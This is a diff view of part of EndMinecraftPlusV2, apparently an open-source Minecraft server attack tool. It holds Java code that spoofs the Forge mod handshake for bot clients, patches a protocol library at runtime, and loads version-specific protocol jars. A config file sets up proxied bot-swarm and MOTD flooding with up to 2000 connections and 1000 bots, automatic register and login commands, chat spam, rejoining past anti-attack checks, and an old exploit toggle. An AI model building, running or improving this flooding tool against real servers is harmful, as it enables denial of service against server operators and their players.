sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x05 }); // COMPLETE
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getFMLVersion() {
|
||||||
|
return "FML";
|
||||||
|
}
|
||||||
|
|
||||||
|
private void sendPluginMessage(Session session, String channel, byte[] data) {
|
||||||
|
session.send(new ClientPluginMessagePacket(channel, data));
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,158 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol;
|
||||||
|
|
||||||
|
import org.spacehq.mc.protocol.packet.login.client.LoginPluginResponsePacket;
|
||||||
|
import org.spacehq.mc.protocol.packet.login.server.LoginPluginRequestPacket;
|
||||||
|
import org.spacehq.packetlib.io.buffer.ByteBufferNetInput;
|
||||||
|
import org.spacehq.packetlib.io.stream.StreamNetOutput;
|
||||||
|
import org.spacehq.packetlib.packet.Packet;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.ByteBuffer;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class MCForgeHandShakeV2 extends MCForgeHandShake {
|
||||||
|
private final int Packet_S2CModList = 1;
|
||||||
|
private final int Packet_C2SModListReply = 2;
|
||||||
|
private final int Packet_S2CRegistry = 3;
|
||||||
|
private final int Packet_S2CConfigData = 4;
|
||||||
|
private final int Packet_C2SAcknowledge = 99;
|
||||||
|
|
||||||
|
public MCForgeHandShakeV2(MCForge forge) {
|
||||||
|
super(forge);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void handle(Packet recvPacket) {
|
||||||
|
LoginPluginRequestPacket packet = (LoginPluginRequestPacket) recvPacket;
|
||||||
|
if (!packet.getChannel().equals("fml:loginwrapper")) return;
|
||||||
|
|
||||||
|
try {
|
||||||
|
LoginWrapper loginWrapper = new LoginWrapper().fromBytes(packet.getData());
|
||||||
|
String targetNetworkReceiver = loginWrapper.getTargetNetworkReceiver();
|
||||||
|
ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(loginWrapper.getPayload()));
|
||||||
|
|
||||||
|
int packetID = in.readByte();
|
||||||
|
switch (packetID) {
|
||||||
|
case Packet_S2CModList: {
|
||||||
|
// recv: S2CModList
|
||||||
|
final List<String> mods = new ArrayList<>();
|
||||||
|
int len = in.readVarInt();
|
||||||
|
for (int x = 0; x < len; x++)
|
||||||
|
mods.add(in.readString());
|
||||||
|
|
||||||
|
final Map<String, String> channels = new HashMap<>();
|
||||||
|
len = in.readVarInt();
|
||||||
|
for (int x = 0; x < len; x++)
|
||||||
|
channels.put(in.readString(), in.readString());
|
||||||
|
|
||||||
|
final List<String> registries = new ArrayList<>();
|
||||||
|
len = in.readVarInt();
|
||||||
|
for (int x = 0; x < len; x++)
|
||||||
|
registries.add(in.readString());
|
||||||
|
// send: C2SModListReply
|
||||||
|
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||||
|
StreamNetOutput out = new StreamNetOutput(buf);
|
||||||
|
|
||||||
|
out.writeByte(Packet_C2SModListReply);
|
||||||
|
|
||||||
|
out.writeVarInt(mods.size());
|
||||||
|
mods.forEach(m -> {
|
||||||
|
try {
|
||||||
|
out.writeString(m);
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
out.writeVarInt(channels.size());
|
||||||
|
channels.forEach((k, v) -> {
|
||||||
|
try {
|
||||||
|
out.writeString(k);
|
||||||
|
out.writeString(v);
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// TODO: Fill with known hashes, which requires keeping a file cache (FMLHandshakeMessages.java)
|
||||||
|
out.writeVarInt(0); // empty map
|
||||||
|
/*
|
||||||
|
out.writeVarInt(registries.size());
|
||||||
|
registries.forEach(r -> {
|
||||||
|
try {
|
||||||
|
out.writeString(r);
|
||||||
|
out.writeString("");
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
*/
|
||||||
|
|
||||||
|
reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case Packet_S2CRegistry:
|
||||||
|
case Packet_S2CConfigData: {
|
||||||
|
// recv: S2CRegistry
|
||||||
|
// send: C2SAcknowledge
|
||||||
|
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||||
|
StreamNetOutput out = new StreamNetOutput(buf);
|
||||||
|
|
||||||
|
out.writeByte(Packet_C2SAcknowledge);
|
||||||
|
|
||||||
|
reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray());
|
||||||
|
break;
|
||||||
|
}// recv: S2CConfigData
|
||||||
|
}
|
||||||
|
} catch (Exception ex) {
|
||||||
|
forge.session.disconnect("Failure to handshake", ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getFMLVersion() {
|
||||||
|
return "FML2";
|
||||||
|
}
|
||||||
|
|
||||||
|
private void reply(int id, String targetNetworkReceiver, byte[] payload) throws IOException {
|
||||||
|
forge.session.send(new LoginPluginResponsePacket(id, new LoginWrapper(targetNetworkReceiver, payload).toBytes()));
|
||||||
|
}
|
||||||
|
|
||||||
|
static class LoginWrapper {
|
||||||
|
private String targetNetworkReceiver;
|
||||||
|
private byte[] payload;
|
||||||
|
|
||||||
|
public LoginWrapper() {}
|
||||||
|
public LoginWrapper(String targetNetworkReceiver, byte[] payload) {
|
||||||
|
this.targetNetworkReceiver = targetNetworkReceiver;
|
||||||
|
this.payload = payload;
|
||||||
|
}
|
||||||
|
|
||||||
|
public LoginWrapper fromBytes(byte[] bytes) throws IOException {
|
||||||
|
ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(bytes));
|
||||||
|
this.targetNetworkReceiver = in.readString();
|
||||||
|
this.payload = in.readBytes(in.readVarInt());
|
||||||
|
return this;
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] toBytes() throws IOException {
|
||||||
|
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||||
|
StreamNetOutput pb = new StreamNetOutput(buf);
|
||||||
|
pb.writeString(targetNetworkReceiver);
|
||||||
|
pb.writeVarInt(payload.length);
|
||||||
|
pb.writeBytes(payload);
|
||||||
|
|
||||||
|
return buf.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getTargetNetworkReceiver() {
|
||||||
|
return this.targetNetworkReceiver;
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] getPayload() {
|
||||||
|
return this.payload;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,52 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol;
|
||||||
|
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import javassist.CtMethod;
|
||||||
|
|
||||||
|
public class MCForgeInject {
|
||||||
|
public static boolean inject() {
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (MCForge.isVersion1710()) {
|
||||||
|
injectPluginMessage();
|
||||||
|
injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.entity.spawn.ServerSpawnMobPacket", "read",
|
||||||
|
"{$1.readBytes($1.available());return;}");
|
||||||
|
injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.world.ServerUpdateTileEntityPacket",
|
||||||
|
"read", "{$1.readBytes($1.available());return;}");
|
||||||
|
injectTryCatch("org.spacehq.packetlib.packet.PacketProtocol", "createIncomingPacket",
|
||||||
|
"{return luohuayu.MCForgeProtocol.MCForgeUtils.createUnknowPacket();}");
|
||||||
|
} else {
|
||||||
|
ClassPool classPool = ClassPool.getDefault();
|
||||||
|
CtClass ctClass = classPool.getOrNull("org.spacehq.mc.protocol.data.MagicValues");
|
||||||
|
if (ctClass == null)
|
||||||
|
ctClass = classPool.get("org.spacehq.mc.protocol.data.game.MagicValues");
|
||||||
|
CtMethod method1 = ctClass.getDeclaredMethod("key");
|
||||||
|
method1.addCatch("{return null;}", classPool.get("java.lang.Exception"));
|
||||||
|
CtMethod method2 = ctClass.getDeclaredMethod("value");
|
||||||
|
method2.addCatch("{return null;}", classPool.get("java.lang.Exception"));
|
||||||
|
ctClass.toClass();
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
} catch (Exception e) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void injectPluginMessage() throws Exception {
|
||||||
|
ClassPool classPool = ClassPool.getDefault();
|
||||||
|
CtClass ctClass = classPool.get("org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket");
|
||||||
|
CtMethod method = ctClass.getDeclaredMethod("read");
|
||||||
|
method.setBody("{this.channel=$1.readString();\n"
|
||||||
|
+ "this.data=$1.readBytes(luohuayu.MCForgeProtocol.MCForgeUtils.readVarShort($1));}");
|
||||||
|
ctClass.toClass();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void injectTryCatch(String cls, String func, String code) throws Exception {
|
||||||
|
ClassPool classPool = ClassPool.getDefault();
|
||||||
|
CtClass ctClass = classPool.get(cls);
|
||||||
|
CtMethod method = ctClass.getDeclaredMethod(func);
|
||||||
|
method.addCatch(code, classPool.get("java.lang.Exception"));
|
||||||
|
ctClass.toClass();
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,141 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol;
|
||||||
|
|
||||||
|
import com.google.gson.Gson;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.DataOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class MCForgeMOTD {
|
||||||
|
public Map<String, String> pingGetModsList(String ip, int port, int version) {
|
||||||
|
Map<String, String> modList = new HashMap<String, String>();
|
||||||
|
Socket socket = new Socket();
|
||||||
|
try {
|
||||||
|
socket.connect(new InetSocketAddress(ip, port));
|
||||||
|
if(socket.isConnected()) {
|
||||||
|
DataOutputStream out = new DataOutputStream(socket.getOutputStream());
|
||||||
|
|
||||||
|
ByteArrayOutputStream packet = new ByteArrayOutputStream();
|
||||||
|
DataOutputStream packetOut = new DataOutputStream(packet);
|
||||||
|
|
||||||
|
packetOut.writeByte(0); // handshake packet id
|
||||||
|
writeVarInt(packetOut, version); // version
|
||||||
|
writeVarInt(packetOut, ip.length()); // host length
|
||||||
|
packetOut.writeBytes(ip); // host
|
||||||
|
packetOut.writeShort(port); // port
|
||||||
|
writeVarInt(packetOut, 1); // next to status
|
||||||
|
|
||||||
|
writeVarInt(out, packet.size()); // packet length
|
||||||
|
out.write(packet.toByteArray()); // handshake packet
|
||||||
|
|
||||||
|
out.writeByte(1); // packet length
|
||||||
|
out.writeByte(0); // status packet id
|
||||||
|
|
||||||
|
out.flush();
|
||||||
|
|
||||||
|
DataInputStream in = new DataInputStream(socket.getInputStream());
|
||||||
|
readVarInt(in); // packet length
|
||||||
|
int packetID = readVarInt(in);
|
||||||
|
int dataLength = readVarInt(in);
|
||||||
|
|
||||||
|
if (packetID == 0 && dataLength > 0) { // Response
|
||||||
|
byte[] responseData = new byte[dataLength];
|
||||||
|
in.readFully(responseData);
|
||||||
|
Response response = new Gson().fromJson(new String(responseData), Response.class);
|
||||||
|
if (response.modinfo != null) {
|
||||||
|
for (Response.ModInfo.ModID modid : response.modinfo.modList) {
|
||||||
|
modList.put(modid.modid, modid.version);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
try {
|
||||||
|
if (socket.isConnected())
|
||||||
|
socket.close();
|
||||||
|
} catch (IOException e1) {}
|
||||||
|
}
|
||||||
|
return modList;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author thinkofdeath
|
||||||
|
* See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22
|
||||||
|
*/
|
||||||
|
public int readVarInt(DataInputStream in) throws IOException {
|
||||||
|
int i = 0;
|
||||||
|
int j = 0;
|
||||||
|
while (true) {
|
||||||
|
int k = in.readByte();
|
||||||
|
|
||||||
|
i |= (k & 0x7F) << j++ * 7;
|
||||||
|
|
||||||
|
if (j > 5)
|
||||||
|
throw new RuntimeException("VarInt too big");
|
||||||
|
|
||||||
|
if ((k & 0x80) != 128)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @throws IOException
|
||||||
|
* @author thinkofdeath
|
||||||
|
* See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22
|
||||||
|
*/
|
||||||
|
public void writeVarInt(DataOutputStream out, int paramInt) throws IOException {
|
||||||
|
while (true) {
|
||||||
|
if ((paramInt & 0xFFFFFF80) == 0) {
|
||||||
|
out.writeByte(paramInt);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
out.writeByte(paramInt & 0x7F | 0x80);
|
||||||
|
paramInt >>>= 7;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class Response {
|
||||||
|
public Object description;
|
||||||
|
public Players players;
|
||||||
|
public Version version;
|
||||||
|
public ModInfo modinfo;
|
||||||
|
|
||||||
|
class Description {
|
||||||
|
public String text;
|
||||||
|
public String translate;
|
||||||
|
|
||||||
|
public String getDescription() {
|
||||||
|
return text != null ? text : translate;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class Players {
|
||||||
|
public int max;
|
||||||
|
public int online;
|
||||||
|
}
|
||||||
|
|
||||||
|
class Version {
|
||||||
|
public String name;
|
||||||
|
public int protocol;
|
||||||
|
}
|
||||||
|
|
||||||
|
class ModInfo {
|
||||||
|
public String type;
|
||||||
|
public ModID[] modList;
|
||||||
|
|
||||||
|
class ModID {
|
||||||
|
public String modid;
|
||||||
|
public String version;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,25 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol;
|
||||||
|
|
||||||
|
import org.spacehq.packetlib.io.NetInput;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
public class MCForgeUtils {
|
||||||
|
public static int readVarShort(NetInput in) throws IOException {
|
||||||
|
int low = in.readUnsignedShort();
|
||||||
|
int high = 0;
|
||||||
|
if ((low & 0x8000) != 0) {
|
||||||
|
low = low & 0x7FFF;
|
||||||
|
high = in.readUnsignedByte();
|
||||||
|
}
|
||||||
|
return ((high & 0xFF) << 15) | low;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static UnknownPacket createUnknownPacket() {
|
||||||
|
try {
|
||||||
|
return UnknownPacket.class.newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,20 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol;
|
||||||
|
|
||||||
|
import org.spacehq.packetlib.io.NetInput;
|
||||||
|
import org.spacehq.packetlib.io.NetOutput;
|
||||||
|
import org.spacehq.packetlib.packet.Packet;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
public class UnknownPacket implements Packet {
|
||||||
|
public boolean isPriority() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void read(NetInput in) throws IOException {
|
||||||
|
in.readBytes(in.available());
|
||||||
|
}
|
||||||
|
|
||||||
|
public void write(NetOutput out) {
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,119 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl;
|
||||||
|
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
public class ProtocolLibs {
|
||||||
|
public static boolean highVersion = false;
|
||||||
|
public static void loadProtocolLib() {
|
||||||
|
LogUtil.doLog(0, "==========================================================", "ProtocolLib");
|
||||||
|
choseProtocolVer(scanProtocolLibs(), scanSupportLibs());
|
||||||
|
}
|
||||||
|
|
||||||
|
public static List<File> scanProtocolLibs() {
|
||||||
|
try {
|
||||||
|
Class.forName("javassist.CtClass");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
OtherUtils.loadLibrary(new File("libs", "javassist-3.22.0-CR2.jar"));
|
||||||
|
}
|
||||||
|
|
||||||
|
File libDir = new File("libs");
|
||||||
|
if (!libDir.exists()) {
|
||||||
|
libDir.mkdir();
|
||||||
|
}
|
||||||
|
|
||||||
|
List<File> versionLibs = new ArrayList<>();
|
||||||
|
for (File file: Objects.requireNonNull(libDir.listFiles())) {
|
||||||
|
if ((file.getName().startsWith("MC-") || file.getName().startsWith("MCP-")) && file.getName().endsWith(".jar"))
|
||||||
|
versionLibs.add(file);
|
||||||
|
}
|
||||||
|
|
||||||
|
Collections.sort(versionLibs);
|
||||||
|
return versionLibs;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static List<File> scanSupportLibs() {
|
||||||
|
File libDir = new File("libs");
|
||||||
|
if (!libDir.exists()) {
|
||||||
|
libDir.mkdir();
|
||||||
|
}
|
||||||
|
|
||||||
|
List<File> supportLibs = new ArrayList<>();
|
||||||
|
for (File file: Objects.requireNonNull(libDir.listFiles())) {
|
||||||
|
if (file.getName().endsWith(".jar"))
|
||||||
|
supportLibs.add(file);
|
||||||
|
}
|
||||||
|
|
||||||
|
return supportLibs;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void choseProtocolVer(List<File> versionLibs, List<File> supportLibs) {
|
||||||
|
int dependency = -1;
|
||||||
|
|
||||||
|
for (int i = 0; i < versionLibs.size(); i++) {
|
||||||
|
String filename = versionLibs.get(i).getName();
|
||||||
|
StringBuilder info = new StringBuilder();
|
||||||
|
|
||||||
|
if (filename.contains("MC-")) {
|
||||||
|
info.append("(").append(i + 1).append(")").append(" ").append(filename, "MC-".length(), filename.length() - ".jar".length());
|
||||||
|
} else if (filename.contains("MCP-")) {
|
||||||
|
info.append("(").append(i + 1).append(")").append(" ").append(filename, "MCP-".length(), filename.length() - ".jar".length());
|
||||||
|
}
|
||||||
|
|
||||||
|
LogUtil.doLog(0, info.toString(), "ProtocolLib");
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < supportLibs.size(); i++) {
|
||||||
|
String filename = supportLibs.get(i).getName();
|
||||||
|
|
||||||
|
if (filename.contains("Dependency")) {
|
||||||
|
dependency = i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LogUtil.doLog(-1, "请选择一个Minecraft协议库版本: ", "ProtocolLib");
|
||||||
|
|
||||||
|
try {
|
||||||
|
Scanner scanner = new Scanner(System.in);
|
||||||
|
int sel = Integer.parseInt(scanner.nextLine());
|
||||||
|
File versionLib = versionLibs.get(sel - 1);
|
||||||
|
|
||||||
|
if (versionLib.getName().contains("MCP")) {
|
||||||
|
highVersion = true;
|
||||||
|
|
||||||
|
if (dependency == -1) {
|
||||||
|
LogUtil.emptyLog();
|
||||||
|
LogUtil.doLog(1, "加载Minecraft协议库时发生错误!", null);
|
||||||
|
LogUtil.doLog(0, "=========================错误排除=========================", "ProtocolLib");
|
||||||
|
LogUtil.doLog(0, " 你选择了高于1.13.2的版本,但缺少必要支持库,", "ProtocolLib");
|
||||||
|
LogUtil.doLog(0, " 请检查[libs]文件夹中,下列文件是否存在: ", "ProtocolLib");
|
||||||
|
LogUtil.doLog(0, " (Dependency.jar)", "ProtocolLib");
|
||||||
|
LogUtil.doLog(0, "==========================================================", "ProtocolLib");
|
||||||
|
LogUtil.emptyLog();
|
||||||
|
|
||||||
|
choseProtocolVer(scanProtocolLibs(), scanSupportLibs());
|
||||||
|
}
|
||||||
|
|
||||||
|
File dependencyFile = supportLibs.get(dependency);
|
||||||
|
OtherUtils.loadLibrary(dependencyFile);
|
||||||
|
}
|
||||||
|
|
||||||
|
OtherUtils.loadLibrary(versionLib);
|
||||||
|
} catch (Exception e) {
|
||||||
|
LogUtil.emptyLog();
|
||||||
|
LogUtil.doLog(1, "加载Minecraft协议库时发生错误! 详细信息:" + e, null);
|
||||||
|
LogUtil.doLog(0, "=========================错误排除=========================", "ProtocolLib");
|
||||||
|
LogUtil.doLog(0, " 1.检查/libs文件夹内依赖库是否完整", "ProtocolLib");
|
||||||
|
LogUtil.doLog(0, " 2.检查对应依赖库是否存在", "ProtocolLib");
|
||||||
|
LogUtil.doLog(0, " (如[1.8]需要[MC-1.8.jar])", "ProtocolLib");
|
||||||
|
LogUtil.doLog(0, " 3.请输入正确的协议库序号(如10)", "ProtocolLib");
|
||||||
|
LogUtil.doLog(0, "==========================================================", "ProtocolLib");
|
||||||
|
LogUtil.emptyLog();
|
||||||
|
|
||||||
|
choseProtocolVer(scanProtocolLibs(), scanSupportLibs());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
68
src/config.yml
Normal file
68
src/config.yml
Normal file
@ -0,0 +1,68 @@
|
|||||||
|
##############################
|
||||||
|
# EndMinecraftPlusV2 #
|
||||||
|
# Forked by SerendipityR #
|
||||||
|
##############################
|
||||||
|
|
||||||
|
AttackSettings:
|
||||||
|
Address: "example.com"
|
||||||
|
Port: 25565
|
||||||
|
# 攻击方式:
|
||||||
|
# 1 - BotAttack - 集群假人(代理)
|
||||||
|
# 2 - MotdAttackP - MOTD压测(代理)
|
||||||
|
# 3 - MotdAttack - MOTD压测(无代理)
|
||||||
|
# 4 - DoubleAttack - 影分身攻击(代理,仅原版单服可用)
|
||||||
|
Method: 1
|
||||||
|
Time: 3600
|
||||||
|
ConnectDelay: 250
|
||||||
|
# 实际连接数由代理质量和机器性能有关
|
||||||
|
# 进行无代理Motd压测时不建议大于32
|
||||||
|
MaxConnections: 2000
|
||||||
|
# 旧版漏洞利用,大概率无效
|
||||||
|
TabAttack: true
|
||||||
|
AntiAttackMode: true
|
||||||
|
DoubleExploitPlayer: "ImOldSix_666"
|
||||||
|
ShowFails: false
|
||||||
|
|
||||||
|
BotSettings:
|
||||||
|
# 可用占位符:
|
||||||
|
# $rnd - 随机字符
|
||||||
|
# $pwd - 随机生成密码
|
||||||
|
BotName: "ImOldSix_$rnd"
|
||||||
|
BotCount: 1000
|
||||||
|
RejoinCount: 5
|
||||||
|
RejoinDelay: 2000
|
||||||
|
RejoinDetect:
|
||||||
|
- "AntiAttack"
|
||||||
|
ClickVerifiesDetect:
|
||||||
|
- "点击验证"
|
||||||
|
Register&Login: true
|
||||||
|
RegisterCommands:
|
||||||
|
- "/register $pwd $pwd"
|
||||||
|
- "/login $pwd"
|
||||||
|
ChatSpam: true
|
||||||
|
CustomChat:
|
||||||
|
- "喵喵喵萌喵~ $rnd"
|
||||||
|
- "喵喵喵萌~ $rnd"
|
||||||
|
- "喵喵喵~ $rnd"
|
||||||
|
- "喵喵~ $rnd"
|
||||||
|
- "喵~ $rnd"
|
||||||
|
ChatDelay: 3000
|
||||||
|
|
||||||
|
Proxy:
|
||||||
|
# 代理获取方式:
|
||||||
|
# 1 - API - 从API获取
|
||||||
|
# 2 - File - 从本地读取
|
||||||
|
# 3 - File + API - 两种方式同时获取
|
||||||
|
GetType: 1
|
||||||
|
# 代理类型:
|
||||||
|
# 1 - HTTP/HTTPS
|
||||||
|
# 2 - SOCKS4/SOCKS5
|
||||||
|
ProxyType: 1
|
||||||
|
UpdateTime: 300
|
||||||
|
File: "proxies.txt"
|
||||||
|
APIs:
|
||||||
|
- "http://www.66ip.cn/mo.php?tqsl=9999"
|
||||||
|
- "https://www.89ip.cn/tqdl.html?api=1&num=9999"
|
||||||
|
# 保存能连接到目标服务器的代理地址 (如果支持)
|
||||||
|
# 位置: working-proxies.txt
|
||||||
|
SaveWorkingProxy: true
|
2
src/data.yml
Normal file
2
src/data.yml
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
Data:
|
||||||
|
- ""
|
Loading…
Reference in New Issue
Block a user